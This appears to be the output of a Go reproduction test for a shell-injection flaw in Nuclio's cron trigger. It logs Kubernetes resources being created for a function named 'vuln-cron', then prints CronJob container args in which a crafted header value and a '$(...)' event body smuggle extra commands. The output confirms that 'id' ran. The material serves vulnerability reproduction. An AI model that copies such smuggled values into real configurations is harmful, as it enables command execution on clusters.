=== RUN TestCronTriggerShellInjectionRepro 26.07.09 20:11:48.914 (D)  test.functionres Resource created {"name": "configMap"} 26.07.09 20:11:48.914 (D)  test.functionres Updating service node port {"functionName": "vuln-cron", "ports": [{"name":"http","port":8080,"targetPort":0}]} 26.07.09 20:11:48.914 (D)  test.functionres Resource created {"name": "service"} 26.07.09 20:11:48.914 (D)  test.functionres Adding volume {"configVolume": {"volume":{"name":"processor-config-volume","configMap":{"name":"nuclio-vuln-cron"}},"volumeMount":{"name":"processor-config-volume","mountPath":"/etc/nuclio/config/processor"}}, "functionName": "vuln-cron"} 26.07.09 20:11:48.914 (D)  test.functionres Adding volume {"configVolume": {"volume":{"name":"platform-config-volume","configMap":{"name":"mocked-platform-configuration","optional":true}},"volumeMount":{"name":"platform-config-volume","mountPath":"/etc/nuclio/config/platform"}}, "functionName": "vuln-cron"} 26.07.09 20:11:48.914 (D)  test.functionres Function secret not found, continuing {"functionName": "vuln-cron"} 26.07.09 20:11:48.914 (D)  test.functionres Populating resources with default values {"defaultContainerResources": {"requests":{},"limits":{}}} 26.07.09 20:11:48.914 (D)  test.functionres Populated resources with default values {"resources": "&ResourceRequirements{Limits:ResourceList{},Requests:ResourceList{cpu: {{25 -3} {} 25m DecimalSI},memory: {{1048576 0} {} 1Mi BinarySI},},Claims:[]ResourceClaim{},}"} 26.07.09 20:11:48.914 (D)  test.functionres Resource created {"name": "deployment"} 26.07.09 20:11:48.914 (D)  test.functionres Create/Update hpa {"functionName": "vuln-cron", "minReplicas": 1, "maxReplicas": 1} 26.07.09 20:11:48.914 (D)  test.functionres Resource created {"name": "hpa"} 26.07.09 20:11:48.914 (D)  test.functionres Resource created {"name": "ingress"} 26.07.09 20:11:48.915 (D)  test.functionres Populating resources with default values {"defaultContainerResources": {"requests":{},"limits":{}}} 26.07.09 20:11:48.915 (D)  test.functionres Populated resources with default values {"resources": "&ResourceRequirements{Limits:ResourceList{},Requests:ResourceList{cpu: {{25 -3} {} 25m DecimalSI},memory: {{1048576 0} {} 1Mi BinarySI},},Claims:[]ResourceClaim{},}"} 26.07.09 20:11:48.915 (D)  test.functionres Resource created {"name": "cronJob"} 26.07.09 20:11:48.915 (D)  test.functionres Successfully created/updated resources {"functionName": "vuln-cron", "functionNamespace": "nuclio"} cron_injection_repro_test.go:76: Generated CronJob container args: [/bin/sh -c echo "$(id 1>&2; echo BODY_INJECTION_PROOF)" > /tmp/eventbody.out && curl --silent --header "X-Inject"; echo "===RCE_CONFIRMED==="; id; echo ": marker" --header "X-Nuclio-Invoke-Trigger: cron" --header "X-Nuclio-Target: vuln-cron" nuclio-vuln-cron.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused --data '@/tmp/eventbody.out'] cron_injection_repro_test.go:85: Executed command output: uid=1000(vscode) gid=1000(vscode) groups=1000(vscode) curl: (2) no URL specified curl: try 'curl --help' or 'curl --manual' for more information ===RCE_CONFIRMED=== uid=1000(vscode) gid=1000(vscode) groups=1000(vscode) : marker --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vuln-cron nuclio-vuln-cron.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused --data @/tmp/eventbody.out --- PASS: TestCronTriggerShellInjectionRepro (0.01s) PASS ok github.com/nuclio/nuclio/pkg/platform/kube/functionres (cached)